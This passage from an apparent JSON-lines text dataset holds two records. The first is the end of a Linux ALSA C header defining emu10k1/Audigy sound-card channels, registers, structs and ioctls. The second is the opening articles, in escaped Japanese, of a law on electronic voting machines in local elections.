AC'97 capture channel - left */\n#define EXTIN_AC97_R\t 0x01\t/* AC'97 capture channel - right */\n#define EXTIN_SPDIF_CD_L 0x02\t/* internal S/PDIF CD - onboard - left */\n#define EXTIN_SPDIF_CD_R 0x03\t/* internal S/PDIF CD - onboard - right */\n#define EXTIN_ZOOM_L\t 0x04\t/* Zoom Video I2S - left */\n#define EXTIN_ZOOM_R\t 0x05\t/* Zoom Video I2S - right */\n#define EXTIN_TOSLINK_L\t 0x06\t/* LiveDrive - TOSLink Optical - left */\n#define EXTIN_TOSLINK_R 0x07\t/* LiveDrive - TOSLink Optical - right */\n#define EXTIN_LINE1_L\t 0x08\t/* LiveDrive - Line/Mic 1 - left */\n#define EXTIN_LINE1_R\t 0x09\t/* LiveDrive - Line/Mic 1 - right */\n#define EXTIN_COAX_SPDIF_L 0x0a\t/* LiveDrive - Coaxial S/PDIF - left */\n#define EXTIN_COAX_SPDIF_R 0x0b /* LiveDrive - Coaxial S/PDIF - right */\n#define EXTIN_LINE2_L\t 0x0c\t/* LiveDrive - Line/Mic 2 - left */\n#define EXTIN_LINE2_R\t 0x0d\t/* LiveDrive - Line/Mic 2 - right */\n\n/* Outputs */\n#define EXTOUT_AC97_L\t 0x00\t/* AC'97 playback channel - left */\n#define EXTOUT_AC97_R\t 0x01\t/* AC'97 playback channel - right */\n#define EXTOUT_TOSLINK_L 0x02\t/* LiveDrive - TOSLink Optical - left */\n#define EXTOUT_TOSLINK_R 0x03\t/* LiveDrive - TOSLink Optical - right */\n#define EXTOUT_AC97_CENTER 0x04\t/* SB Live 5.1 - center */\n#define EXTOUT_AC97_LFE\t 0x05 /* SB Live 5.1 - LFE */\n#define EXTOUT_HEADPHONE_L 0x06\t/* LiveDrive - Headphone - left */\n#define EXTOUT_HEADPHONE_R 0x07\t/* LiveDrive - Headphone - right */\n#define EXTOUT_REAR_L\t 0x08\t/* Rear channel - left */\n#define EXTOUT_REAR_R\t 0x09\t/* Rear channel - right */\n#define EXTOUT_ADC_CAP_L 0x0a\t/* ADC Capture buffer - left */\n#define EXTOUT_ADC_CAP_R 0x0b\t/* ADC Capture buffer - right */\n#define EXTOUT_MIC_CAP\t 0x0c\t/* MIC Capture buffer */\n#define EXTOUT_AC97_REAR_L 0x0d\t/* SB Live 5.1 (c) 2003 - Rear Left */\n#define EXTOUT_AC97_REAR_R 0x0e\t/* SB Live 5.1 (c) 2003 - Rear Right */\n#define EXTOUT_ACENTER\t 0x11 /* Analog Center */\n#define EXTOUT_ALFE\t 0x12 /* Analog LFE */\n\n/* Audigy Inputs */\n#define A_EXTIN_AC97_L\t\t0x00\t/* AC'97 capture channel - left */\n#define A_EXTIN_AC97_R\t\t0x01\t/* AC'97 capture channel - right */\n#define A_EXTIN_SPDIF_CD_L\t0x02\t/* digital CD left */\n#define A_EXTIN_SPDIF_CD_R\t0x03\t/* digital CD left */\n#define A_EXTIN_OPT_SPDIF_L 0x04 /* audigy drive Optical SPDIF - left */\n#define A_EXTIN_OPT_SPDIF_R 0x05 /* right */ \n#define A_EXTIN_LINE2_L\t\t0x08\t/* audigy drive line2/mic2 - left */\n#define A_EXTIN_LINE2_R\t\t0x09\t/* right */\n#define A_EXTIN_ADC_L\t\t0x0a /* Philips ADC - left */\n#define A_EXTIN_ADC_R\t\t0x0b /* right */\n#define A_EXTIN_AUX2_L\t\t0x0c\t/* audigy drive aux2 - left */\n#define A_EXTIN_AUX2_R\t\t0x0d\t/* - right */\n\n/* Audigiy Outputs */\n#define A_EXTOUT_FRONT_L\t0x00\t/* digital front left */\n#define A_EXTOUT_FRONT_R\t0x01\t/* right */\n#define A_EXTOUT_CENTER\t\t0x02\t/* digital front center */\n#define A_EXTOUT_LFE\t\t0x03\t/* digital front lfe */\n#define A_EXTOUT_HEADPHONE_L\t0x04\t/* headphone audigy drive left */\n#define A_EXTOUT_HEADPHONE_R\t0x05\t/* right */\n#define A_EXTOUT_REAR_L\t\t0x06\t/* digital rear left */\n#define A_EXTOUT_REAR_R\t\t0x07\t/* right */\n#define A_EXTOUT_AFRONT_L\t0x08\t/* analog front left */\n#define A_EXTOUT_AFRONT_R\t0x09\t/* right */\n#define A_EXTOUT_ACENTER\t0x0a\t/* analog center */\n#define A_EXTOUT_ALFE\t\t0x0b\t/* analog LFE */\n#define A_EXTOUT_ASIDE_L\t0x0c\t/* analog side left - Audigy 2 ZS */\n#define A_EXTOUT_ASIDE_R\t0x0d\t/* right - Audigy 2 ZS */\n#define A_EXTOUT_AREAR_L\t0x0e\t/* analog rear left */\n#define A_EXTOUT_AREAR_R\t0x0f\t/* right */\n#define A_EXTOUT_AC97_L\t\t0x10\t/* AC97 left (front) */\n#define A_EXTOUT_AC97_R\t\t0x11\t/* right */\n#define A_EXTOUT_ADC_CAP_L\t0x16\t/* ADC capture buffer left */\n#define A_EXTOUT_ADC_CAP_R\t0x17\t/* right */\n#define A_EXTOUT_MIC_CAP\t0x18\t/* Mic capture buffer */\n\n/* Audigy constants */\n#define A_C_00000000\t0xc0\n#define A_C_00000001\t0xc1\n#define A_C_00000002\t0xc2\n#define A_C_00000003\t0xc3\n#define A_C_00000004\t0xc4\n#define A_C_00000008\t0xc5\n#define A_C_00000010\t0xc6\n#define A_C_00000020\t0xc7\n#define A_C_00000100\t0xc8\n#define A_C_00010000\t0xc9\n#define A_C_00000800\t0xca\n#define A_C_10000000\t0xcb\n#define A_C_20000000\t0xcc\n#define A_C_40000000\t0xcd\n#define A_C_80000000\t0xce\n#define A_C_7fffffff\t0xcf\n#define A_C_ffffffff\t0xd0\n#define A_C_fffffffe\t0xd1\n#define A_C_c0000000\t0xd2\n#define A_C_4f1bbcdc\t0xd3\n#define A_C_5a7ef9db\t0xd4\n#define A_C_00100000\t0xd5\n#define A_GPR_ACCU\t0xd6\t\t/* ACCUM, accumulator */\n#define A_GPR_COND\t0xd7\t\t/* CCR, condition register */\n#define A_GPR_NOISE0\t0xd8\t\t/* noise source */\n#define A_GPR_NOISE1\t0xd9\t\t/* noise source */\n#define A_GPR_IRQ\t0xda\t\t/* IRQ register */\n#define A_GPR_DBAC\t0xdb\t\t/* TRAM Delay Base Address Counter - internal */\n#define A_GPR_DBACE\t0xde\t\t/* TRAM Delay Base Address Counter - external */\n\n/* definitions for debug register */\n#define EMU10K1_DBG_ZC\t\t\t0x80000000\t/* zero tram counter */\n#define EMU10K1_DBG_SATURATION_OCCURED\t0x02000000\t/* saturation control */\n#define EMU10K1_DBG_SATURATION_ADDR\t0x01ff0000\t/* saturation address */\n#define EMU10K1_DBG_SINGLE_STEP\t\t0x00008000\t/* single step mode */\n#define EMU10K1_DBG_STEP\t\t0x00004000\t/* start single step */\n#define EMU10K1_DBG_CONDITION_CODE\t0x00003e00\t/* condition code */\n#define EMU10K1_DBG_SINGLE_STEP_ADDR\t0x000001ff\t/* single step address */\n\n/* tank memory address line */\n#define TANKMEMADDRREG_ADDR_MASK 0x000fffff\t/* 20 bit tank address field\t\t\t*/\n#define TANKMEMADDRREG_CLEAR\t 0x00800000\t/* Clear tank memory\t\t\t\t*/\n#define TANKMEMADDRREG_ALIGN\t 0x00400000\t/* Align read or write relative to tank access\t*/\n#define TANKMEMADDRREG_WRITE\t 0x00200000\t/* Write to tank memory\t\t\t\t*/\n#define TANKMEMADDRREG_READ\t 0x00100000\t/* Read from tank memory\t\t\t*/\n\nstruct snd_emu10k1_fx8010_info {\n\tunsigned int internal_tram_size;\t/* in samples */\n\tunsigned int external_tram_size;\t/* in samples */\n\tchar fxbus_names[16][32];\t\t/* names of FXBUSes */\n\tchar extin_names[16][32];\t\t/* names of external inputs */\n\tchar extout_names[32][32];\t\t/* names of external outputs */\n\tunsigned int gpr_controls;\t\t/* count of GPR controls */\n};\n\n#define EMU10K1_GPR_TRANSLATION_NONE\t\t0\n#define EMU10K1_GPR_TRANSLATION_TABLE100\t1\n#define EMU10K1_GPR_TRANSLATION_BASS\t\t2\n#define EMU10K1_GPR_TRANSLATION_TREBLE\t\t3\n#define EMU10K1_GPR_TRANSLATION_ONOFF\t\t4\n\nstruct snd_emu10k1_fx8010_control_gpr {\n\tstruct snd_ctl_elem_id id;\t\t/* full control ID definition */\n\tunsigned int vcount;\t\t/* visible count */\n\tunsigned int count;\t\t/* count of GPR (1..16) */\n\tunsigned short gpr[32];\t\t/* GPR number(s) */\n\tunsigned int value[32];\t\t/* initial values */\n\tunsigned int min;\t\t/* minimum range */\n\tunsigned int max;\t\t/* maximum range */\n\tunsigned int translation;\t/* translation type (EMU10K1_GPR_TRANSLATION*) */\n\tconst unsigned int *tlv;\n};\n\n/* old ABI without TLV support */\nstruct snd_emu10k1_fx8010_control_old_gpr {\n\tstruct snd_ctl_elem_id id;\n\tunsigned int vcount;\n\tunsigned int count;\n\tunsigned short gpr[32];\n\tunsigned int value[32];\n\tunsigned int min;\n\tunsigned int max;\n\tunsigned int translation;\n};\n\nstruct snd_emu10k1_fx8010_code {\n\tchar name[128];\n\n\tDECLARE_BITMAP(gpr_valid, 0x200); /* bitmask of valid initializers */\n\t__u32 *gpr_map;\t\t/* initializers */\n\n\tunsigned int gpr_add_control_count; /* count of GPR controls to add/replace */\n\tstruct snd_emu10k1_fx8010_control_gpr *gpr_add_controls; /* GPR controls to add/replace */\n\n\tunsigned int gpr_del_control_count; /* count of GPR controls to remove */\n\tstruct snd_ctl_elem_id *gpr_del_controls; /* IDs of GPR controls to remove */\n\n\tunsigned int gpr_list_control_count; /* count of GPR controls to list */\n\tunsigned int gpr_list_control_total; /* total count of GPR controls */\n\tstruct snd_emu10k1_fx8010_control_gpr *gpr_list_controls; /* listed GPR controls */\n\n\tDECLARE_BITMAP(tram_valid, 0x100); /* bitmask of valid initializers */\n\t__u32 *tram_data_map;\t /* data initializers */\n\t__u32 *tram_addr_map;\t /* map initializers */\n\n\tDECLARE_BITMAP(code_valid, 1024); /* bitmask of valid instructions */\n\t__u32 *code;\t\t /* one instruction - 64 bits */\n};\n\nstruct snd_emu10k1_fx8010_tram {\n\tunsigned int address;\t\t/* 31.bit == 1 -> external TRAM */\n\tunsigned int size;\t\t/* size in samples (4 bytes) */\n\tunsigned int *samples;\t\t/* pointer to samples (20-bit) */\n\t\t\t\t\t/* NULL->clear memory */\n};\n\nstruct snd_emu10k1_fx8010_pcm_rec {\n\tunsigned int substream;\t\t/* substream number */\n\tunsigned int res1;\t\t/* reserved */\n\tunsigned int channels;\t\t/* 16-bit channels count, zero = remove this substream */\n\tunsigned int tram_start;\t/* ring buffer position in TRAM (in samples) */\n\tunsigned int buffer_size;\t/* count of buffered samples */\n\tunsigned short gpr_size;\t\t/* GPR containing size of ringbuffer in samples (host) */\n\tunsigned short gpr_ptr;\t\t/* GPR containing current pointer in the ring buffer (host = reset, FX8010) */\n\tunsigned short gpr_count;\t/* GPR containing count of samples between two interrupts (host) */\n\tunsigned short gpr_tmpcount;\t/* GPR containing current count of samples to interrupt (host = set, FX8010) */\n\tunsigned short gpr_trigger;\t/* GPR containing trigger (activate) information (host) */\n\tunsigned short gpr_running;\t/* GPR containing info if PCM is running (FX8010) */\n\tunsigned char pad;\t\t/* reserved */\n\tunsigned char etram[32];\t/* external TRAM address & data (one per channel) */\n\tunsigned int res2;\t\t/* reserved */\n};\n\n#define SNDRV_EMU10K1_VERSION\t\tSNDRV_PROTOCOL_VERSION(1, 0, 1)\n\n#define SNDRV_EMU10K1_IOCTL_INFO\t_IOR ('H', 0x10, struct snd_emu10k1_fx8010_info)\n#define SNDRV_EMU10K1_IOCTL_CODE_POKE\t_IOW ('H', 0x11, struct snd_emu10k1_fx8010_code)\n#define SNDRV_EMU10K1_IOCTL_CODE_PEEK\t_IOWR('H', 0x12, struct snd_emu10k1_fx8010_code)\n#define SNDRV_EMU10K1_IOCTL_TRAM_SETUP\t_IOW ('H', 0x20, int)\n#define SNDRV_EMU10K1_IOCTL_TRAM_POKE\t_IOW ('H', 0x21, struct snd_emu10k1_fx8010_tram)\n#define SNDRV_EMU10K1_IOCTL_TRAM_PEEK\t_IOWR('H', 0x22, struct snd_emu10k1_fx8010_tram)\n#define SNDRV_EMU10K1_IOCTL_PCM_POKE\t_IOW ('H', 0x30, struct snd_emu10k1_fx8010_pcm_rec)\n#define SNDRV_EMU10K1_IOCTL_PCM_PEEK\t_IOWR('H', 0x31, struct snd_emu10k1_fx8010_pcm_rec)\n#define SNDRV_EMU10K1_IOCTL_PVERSION\t_IOR ('H', 0x40, int)\n#define SNDRV_EMU10K1_IOCTL_STOP\t_IO ('H', 0x80)\n#define SNDRV_EMU10K1_IOCTL_CONTINUE\t_IO ('H', 0x81)\n#define SNDRV_EMU10K1_IOCTL_ZERO_TRAM_COUNTER _IO ('H', 0x82)\n#define SNDRV_EMU10K1_IOCTL_SINGLE_STEP\t_IOW ('H', 0x83, int)\n#define SNDRV_EMU10K1_IOCTL_DBG_READ\t_IOR ('H', 0x84, int)\n\n/* typedefs for compatibility to user-space */\ntypedef struct snd_emu10k1_fx8010_info emu10k1_fx8010_info_t;\ntypedef struct snd_emu10k1_fx8010_control_gpr emu10k1_fx8010_control_gpr_t;\ntypedef struct snd_emu10k1_fx8010_code emu10k1_fx8010_code_t;\ntypedef struct snd_emu10k1_fx8010_tram emu10k1_fx8010_tram_t;\ntypedef struct snd_emu10k1_fx8010_pcm_rec emu10k1_fx8010_pcm_t;\n\n#endif\t/* __SOUND_EMU10K1_H */\n"} -{"text": "\n\n\u5730\u65b9\u516c\u5171\u56e3\u4f53\u306e\u8b70\u4f1a\u306e\u8b70\u54e1\u53ca\u3073\u9577\u306e\u9078\u6319\u306b\u4fc2\u308b\u96fb\u78c1\u7684\u8a18\u9332\u5f0f\u6295\u7968\u6a5f\u3092\u7528\u3044\u3066\u884c\u3046\u6295\u7968\u65b9\u6cd5\u7b49\u306e\u7279\u4f8b\u306b\u95a2\u3059\u308b\u6cd5\u5f8b\n\uff08\u5e73\u6210\u5341\u4e09\u5e74\u5341\u4e8c\u6708\u4e03\u65e5\u6cd5\u5f8b\u7b2c\u767e\u56db\u5341\u4e03\u53f7\uff09\u6700\u7d42\u6539\u6b63\uff1a\u5e73\u6210\u4e8c\u4e94\u5e74\u4e94\u6708\u4e09\u4e00\u65e5\u6cd5\u5f8b\u7b2c\u4e8c\u4e00\u53f7\n\uff08\u8da3\u65e8\uff09\n\u7b2c\u4e00\u6761\n\n\u3000\u3053\u306e\u6cd5\u5f8b\u306f\u3001\u60c5\u5831\u5316\u793e\u4f1a\u306e\u9032\u5c55\u306b\u304b\u3093\u304c\u307f\u3001\u9078\u6319\u306e\u516c\u6b63\u304b\u3064\u9069\u6b63\u306a\u57f7\u884c\u3092\u78ba\u4fdd\u3057\u3064\u3064\u958b\u7968\u4e8b\u52d9\u7b49\u306e\u52b9\u7387\u5316\u53ca\u3073\u8fc5\u901f\u5316\u3092\u56f3\u308b\u305f\u3081\u3001\u5f53\u5206\u306e\u9593\u306e\u63aa\u7f6e\u3068\u3057\u3066\u3001\u5730\u65b9\u516c\u5171\u56e3\u4f53\u306e\u8b70\u4f1a\u306e\u8b70\u54e1\u53ca\u3073\u9577\u306e\u9078\u6319\u306b\u4fc2\u308b\u96fb\u78c1\u7684\u8a18\u9332\u5f0f\u6295\u7968\u6a5f\u3092\u7528\u3044\u3066\u884c\u3046\u6295\u7968\u65b9\u6cd5\u7b49\u306b\u3064\u3044\u3066\u3001\u516c\u8077\u9078\u6319\u6cd5\n\uff08\u662d\u548c\u4e8c\u5341\u4e94\u5e74\u6cd5\u5f8b\u7b2c\u767e\u53f7\uff09\u306e\u7279\u4f8b\u3092\u5b9a\u3081\u308b\u3082\u306e\u3068\u3059\u308b\u3002\n\n\n\n\uff08\u5b9a\u7fa9\uff09\n\u7b2c\u4e8c\u6761\n\n\u3000\u3053\u306e\u6cd5\u5f8b\u306b\u304a\u3044\u3066\u3001\u6b21\u306e\u5404\u53f7\u306b\u63b2\u3052\u308b\u7528\u8a9e\u306e\u610f\u7fa9\u306f\u3001\u5f53\u8a72\u5404\u53f7\u306b\u5b9a\u3081\u308b\u3068\u3053\u308d\u306b\u3088\u308b\u3002\n\u4e00\n\n\u3000\u96fb\u78c1\u7684\u8a18\u9332\u5a92\u4f53\u3000\u96fb\u5b50\u7684\u65b9\u5f0f\u3001\u78c1\u6c17\u7684\u65b9\u5f0f\u305d\u306e\u4ed6\u4eba\u306e\u77e5\u899a\u306b\u3088\u3063\u3066\u306f\u8a8d\u8b58\u3059\u308b\u3053\u3068\u304c\u3067\u304d\u306a\u3044\u65b9\u5f0f\u3067\u4f5c\u3089\u308c\u308b\u8a18\u9332\u3067\u3042\u3063\u3066\u3001\u96fb\u5b50\u8a08\u7b97\u6a5f\u306b\u3088\u308b\u60c5\u5831\u51e6\u7406\u306e\u7528\u306b\u4f9b\u3055\u308c\u308b\u3082\u306e\uff08\u6b21\u53f7\u306b\u304a\u3044\u3066\u300c\u96fb\u78c1\u7684\u8a18\u9332\u300d\u3068\u3044\u3046\u3002\uff09\u306b\u4fc2\u308b\u8a18\u9332\u5a92\u4f53\u3092\u3044\u3046\u3002\n\n\u4e8c\n\n\u3000\u96fb\u78c1\u7684\u8a18\u9332\u5f0f\u6295\u7968\u6a5f\u3000\u5f53\u8a72\u6a5f\u68b0\u3092\u64cd\u4f5c\u3059\u308b\u3053\u3068\u306b\u3088\u308a\u3001\u5f53\u8a72\u6a5f\u68b0\u306b\u8a18\u9332\u3055\u308c\u3066\u3044\u308b\u516c\u8077\u306e\u5019\u88dc\u8005\u306e\u3044\u305a\u308c\u304b\u3092\u9078\u629e\u3057\u3001\u304b\u3064\u3001\u5f53\u8a72\u516c\u8077\u306e\u5019\u88dc\u8005\u3092\u9078\u629e\u3057\u305f\u3053\u3068\u3092\u96fb\u78c1\u7684\u8a18\u9332\u3068\u3057\u3066\u96fb\u78c1\u7684\u8a18\u9332\u5a92\u4f53\u306b\u8a18\u9332\u3059\u308b\u3053\u3068\u304c\u3067\u304d\u308b\u6a5f\u68b0\u3092\u3044\u3046\u3002\n\n\n\n\n\uff08\u96fb\u78c1\u7684\u8a18\u9332\u5f0f\u6295\u7968\u6a5f\u306b\u3088\u308b\u6295\u7968\uff09\n\u7b2c\u4e09\u6761\n\n\u3000\u5e02\u753a\u6751\uff08\u5730\u65b9\u81ea\u6cbb\u6cd5\n\uff08\u662d\u548c\u4e8c\u5341\u4e8c\u5e74\u6cd5\u5f8b\u7b2c\u516d\u5341\u4e03\u53f7\uff09\u7b2c\u4e8c\u767e\u4e94\u5341\u4e8c\u6761\u306e\u5341\u4e5d\u7b2c\u4e00\u9805\n\u306e\u6307\u5b9a\u90fd\u5e02\uff08\u4ee5\u4e0b\u300c\u6307\u5b9a\u90fd\u5e02\u300d\u3068\u3044\u3046\u3002\uff09\u3092\u9664\u304f\u3002\u4ee5\u4e0b\u3053\u306e\u9805\u306b\u304a\u3044\u3066\u540c\u3058\u3002\uff09\u306e\u8b70\u4f1a\u306e\u8b70\u54e1\u53c8\u306f\u9577\u306e\u9078\u6319\u306e\u6295\u7968\uff08\u516c\u8077\u9078\u6319\u6cd5\u7b2c\u56db\u5341\u4e03\u6761\n\u3001\u7b2c\u56db\u5341\u4e5d\u6761\u4e26\u3073\u306b\u7b2c\u4e94\u5341\u6761\u7b2c\u4e09\u9805\u53ca\u3073\u7b2c\u4e94\u9805\u306e\u898f\u5b9a\u306b\u3088\u308b\u6295\u7968\u3092\u9664\u304f\u3002\uff09\u306b\u3064\u3044\u3066\u306f\u3001\u5e02\u753a\u6751\u306f\u3001\u540c\u6cd5\u7b2c\u56db\u5341\u4e94\u6761\n\u3001\u7b2c\u56db\u5341\u516d\u6761\u7b2c\u4e00\u9805\u53ca\u3073\u7b2c\u56db\u5341\u516b\u6761\u306e\u898f\u5b9a\u306b\u304b\u304b\u308f\u3089\u305a\u3001\u6761\u4f8b\u3067\u5b9a\u3081\u308b\u3068\u3053\u308d\u306b\u3088\u308a\u3001\u9078\u6319\u4eba\u304c\u3001\u81ea\u3089\u3001\u6295\u7968\u6240\uff08\u671f\u65e5\u524d\u6295\u7968\u6240\u3092\u542b\u3080\u3002\u4ee5\u4e0b\u3053\u306e\u6761\u306b\u304a\u3044\u3066\u540c\u3058\u3002\uff09\u306b\u304a\u3044\u3066\u3001\u96fb\u78c1\u7684\u8a18\u9332\u5f0f\u6295\u7968\u6a5f\u3092\u64cd\u4f5c\u3059\u308b\u3053\u3068\u306b\u3088\u308a\u3001\u5f53\u8a72\u96fb\u78c1\u7684\u8a18\u9332\u5f0f\u6295\u7968\u6a5f\u306b\u8a18\u9332\u3055\u308c\u3066\u3044\u308b\u516c\u8077\u306e\u5019\u88dc\u8005\u306e\u3046\u3061\u305d\u306e\u6295\u7968\u3057\u3088\u3046\u3068\u3059\u308b\u3082\u306e\u4e00\u4eba\u3092\u9078\u629e\u3057\u3001\u304b\u3064\u3001\u5f53\u8a72\u516c\u8077\u306e\u5019\u88dc\u8005\u3092\u9078\u629e\u3057\u305f\u3053\u3068\u3092\u96fb\u78c1\u7684\u8a18\u9332\u5a92\u4f53\u306b\u8a18\u9332\u3059\u308b\u65b9\u6cd5\u306b\u3088\u308b\u3053\u3068\u304c\u3067\u304d\u308b\u3002\n\n\uff12\n\n\u3000\u6307\u5b9a\u90fd\u5e02\u306e\u8b70\u4f1a\u306e\u8b70\u54e1\u53c8\u306f\u9577\u306e\u9078\u6319\u306e\u6295\u7968\uff08\u516c\u8077\u9078\u6319\u6cd5\u7b2c\u56db\u5341\u4e03\u6761\n\u3001\u7b2c\u56db\u5341\u4e5d\u6761\u4e26\u3073\u306b\u7b2c\u4e94\u5341\u6761\u7b2c\u4e09\u9805\u53ca\u3073\u7b2c\u4e94\u9805\u306e\u898f\u5b9a\u306b\u3088\u308b\u6295\u7968\u3092\u9664\u304f\u3002\uff09\u306b\u3064\u3044\u3066\u306f\u3001\u6307\u5b9a\u90fd\u5e02\u306f\u3001\u540c\u6cd5\u7b2c\u56db\u5341\u4e94\u6761\n\u3001\u7b2c\u56db\u5341\u516d\u6761\u7b2c\u4e00\u9805\u53ca\u3073\u7b2c\u56db\u5341\u516b\u6761\u306e\u898f\u5b9a\u306b\u304b\u304b\u308f\u3089\u305a\u3001\u6761\u4f8b\u3067\u5b9a\u3081\u308b\u3068\u3053\u308d\u306b\u3088\u308a\u3001\u5f53\u8a72\u6761\u4f8b\u3067\u5b9a\u3081\u308b\u5f53\u8a72\u6307\u5b9a\u90fd\u5e02\u306e\u533a\u306e\u533a\u57df\u5185\u306e\u6295\u7968\u533a\u3092\u9664\u304d\u3001\u9078\u6319\u4eba\u304c\u3001\u81ea\u3089\u3001\u6295\u7968\u6240\u306b\u304a\u3044\u3066\u3001\u96fb\u78c1\u7684\u8a18\u9332\u5f0f\u6295\u7968\u6a5f\u3092\u64cd\u4f5c\u3059\u308b\u3053\u3068\u306b\u3088\u308a\u3001\u5f53\u8a72\u96fb\u78c1\u7684\u8a18\u9332\u5f0f\u6295\u7968\u6a5f\u306b\u8a18\u9332\u3055\u308c\u3066\u3044\u308b\u516c\u8077\u306e\u5019\u88dc\u8005\u306e\u3046\u3061\u305d\u306e\u6295\u7968\u3057\u3088\u3046\u3068\u3059\u308b\u3082\u306e\u4e00\u4eba\u3092\u9078\u629e\u3057\u3001\u304b\u3064\u3001\u5f53\u8a72\u516c\u8077\u306e\u5019\u88dc\u8005\u3092\u9078\u629e\u3057\u305f\u3053\u3068\u3092\u96fb\u78c1\u7684\u8a18\u9332\u5a92\u4f53\u306b\u8a18\u9332\u3059\u308b\u65b9\u6cd5\u306b\u3088\u308b\u3053\u3068\u304c\u3067\u304d\u308b\u3002\u3053\u306e\u5834\u5408\u306b\u304a\u3051\u308b\u540c\u6cd5\u7b2c\u56db\u5341\u516d\u6761\u306e\u4e8c\u7b2c\u4e00\u9805\n\u306e\u898f\u5b9a\u306e\u9069\u7528\u306b\u3064\u3044\u3066\u306f\u3001\u540c\u9805\n\u4e2d\u300c\u7b2c\u56db\u5341\u4e5d\u6761\n\u300d\u3068\u3042\u308b\u306e\u306f\u3001\u300c\u7b2c\u56db\u5341\u4e5d\u6761\u4e26\u3073\u306b\u5730\u65b9\u516c\u5171\u56e3\u4f53\u306e\u8b70\u4f1a\u306e\u8b70\u54e1\u53ca\u3073\u9577\u306e\u9078\u6319\u306b\u4fc2\u308b\u96fb\u78c1\u7684\u8a18\u9332\u5f0f\u6295\u7968\u6a5f\u3092\u7528\u3044\u3066\u884c\u3046\u6295\u7968\u65b9\u6cd5\u7b49\u306e\u7279\u4f8b\u306b\u95a2\u3059\u308b\u6cd5\u5f8b\u7b2c\u4e09\u6761\u7b2c\u4e8c\u9805\u53ca\u3073\u7b2c\u4e03\u6761\u300d\u3068\u3059\u308b\u3002\n\n\uff13\n\n\u3000\u90fd\u9053\u5e9c\u770c\u306e\u8b70\u4f1a\u306e\u8b70\u54e1\u53c8\u306f\u9577\u306e\u9078\u6319\u306e\u6295\u7968\uff08\u516c\u8077\u9078\u6319\u6cd5\u7b2c\u56db\u5341\u4e03\u6761\n\u3001\u7b2c\u56db\u5341\u4e5d\u6761\u4e26\u3073\u306b\u7b2c\u4e94\u5341\u6761\u7b2c\u4e09\u9805\u53ca\u3073\u7b2c\u4e94\u9805\u306e\u898f\u5b9a\u306b\u3088\u308b\u6295\u7968\u3092\u9664\u304f\u3002\uff09\u306b\u3064\u3044\u3066\u306f\u3001\u90fd\u9053\u5e9c\u770c\u306f\u3001\u540c\u6cd5\u7b2c\u56db\u5341\u4e94\u6761\n\u3001\u7b2c\u56db\u5341\u516d\u6761\u7b2c\u4e00\u9805\u53ca\u3073\u7b2c\u56db\u5341\u516b\u6761\u306e\u898f\u5b9a\u306b\u304b\u304b\u308f\u3089\u305a\u3001\u524d\u4e8c\u9805\u306e\u6761\u4f8b\u3092\u5b9a\u3081\u305f\u5e02\u753a\u6751\u306e\u3046\u3061\u5f53\u8a72\u90fd\u9053\u5e9c\u770c\u306e\u6761\u4f8b\u3067\u5b9a\u3081\u308b\u3082\u306e\u306e\u533a\u57df\uff08\u6307\u5b9a\u90fd\u5e02\u306b\u3042\u3063\u3066\u306f\u3001\u8b70\u4f1a\u306e\u8b70\u54e1\u306e\u9078\u6319\u306b\u4fc2\u308b\u524d\u9805\u306e\u6761\u4f8b\u53ca\u3073\u9577\u306e\u9078\u6319\u306b\u4fc2\u308b\u540c\u9805\u306e\u6761\u4f8b\u3067\u5b9a\u3081\u308b\u533a\u4ee5\u5916\u306e\u533a\u306e\u3046\u3061\u5f53\u8a72\u90fd\u9053\u5e9c\u770c\u306e\u6761\u4f8b\u3067\u5b9a\u3081\u308b\u3082\u306e\u306e\u533a\u57df\u306b\u9650\u308b\u3002\uff09\u5185\u306e\u6295\u7968\u533a\u306b\u9650\u308a\u3001\u5f53\u8a72\u90fd\u9053\u5e9c\u770c\u306e\u6761\u4f8b\u3067\u5b9a\u3081\u308b\u3068\u3053\u308d\u306b\u3088\u308a\u3001\u9078\u6319\u4eba\u304c\u3001\u81ea\u3089\u3001\u6295\u7968\u6240\u306b\u304a\u3044\u3066\u3001\u96fb\u78c1\u7684\u8a18\u9332\u5f0f\u6295\u7968\u6a5f\u3092\u64cd\u4f5c\u3059\u308b\u3053\u3068\u306b\u3088\u308a\u3001\u5f53\u8a72\u96fb\u78c1\u7684\u8a18\u9332\u5f0f\u6295\u7968\u6a5f\u306b\u8a18\u9332\u3055\u308c\u3066\u3044\u308b\u516c\u8077\u306e\u5019\u88dc\u8005\u306e\u3046\u3061\u305d\u306e\u6295\u7968\u3057\u3088\u3046\u3068\u3059\u308b\u3082\u306e\u4e00\u4eba\u3092\u9078\u629e\u3057\u3001\u304b\u3064\u3001\u5f53\u8a72\u516c\u8077\u306e\u5019\u88dc\u8005\u3092\u9078\u629e\u3057\u305f\u3053\u3068\u3092\u96fb\u78c1\u7684\u8a18\u9332\u5a92\u4f53\u306b\u8a18\u9332\u3059\u308b\u65b9\u6cd5\u306b\u3088\u308b\u3053\u3068\u304c\u3067\u304d\u308b\u3002\u3053\u306e\u5834\u5408\u306b\u304a\u3051\u308b\u540c\u6cd5\u7b2c\u56db\u5341\u516d\u6761\u306e\u4e8c\u7b2c\u4e00\u9805\n\u306e\u898f\u5b9a\u306e\u9069\u7528\u306b\u3064\u3044\u3066\u306f\u3001\u540c\u9805\n\u4e2d\u300c\u7b2c\u56db\u5341\u4e5d\u6761\n\u300d\u3068\u3042\u308b\u306e\u306f\u3001\u300c\u7b2c\u56db\u5341\u4e5d\u6761\u4e26\u3073\u306b\u5730\u65b9\u516c\u5171\u56e3\u4f53\u306e\u8b70\u4f1a\u306e\u8b70\u54e1\u53ca\u3073\u9577\u306e\u9078\u6319\u306b\u4fc2\u308b\u96fb\u78c1\u7684\u8a18\u9332\u5f0f\u6295\u7968\u6a5f\u3092\u7528\u3044\u3066\u884c\u3046\u6295\u7968\u65b9\u6cd5\u7b49\u306e\u7279\u4f8b\u306b\u95a2\u3059\u308b\u6cd5\u5f8b\u7b2c\u4e09\u6761\u7b2c\u4e09\u9805\u53ca\u3073\u7b2c\u4e03\u6761\u300d\u3068\u3059\u308b\u3002\n\n\n\n\uff08\u96fb\u78c1\u7684\u8a18\u9332\u5f0f\u6295\u7968\u6a5f\u306e\u5177\u5099\u3059\u3079\u304d\u6761\u4ef6\u7b49\uff09\n\u7b2c\u56db\u6761\n\n\u3000\u524d\u6761\u306e\u898f\u5b9a\u306b\u3088\u308b\u6295\u7968\u306b\u7528\u3044\u308b\u96fb\u78c1\u7684\u8a18\u9332\u5f0f\u6295\u7968\u6a5f\u306f\u3001\u6b21\u306b\u63b2\u3052\u308b\u6761\u4ef6\u3092\u5177\u5099\u3057\u305f\u3082\u306e\u3067\u306a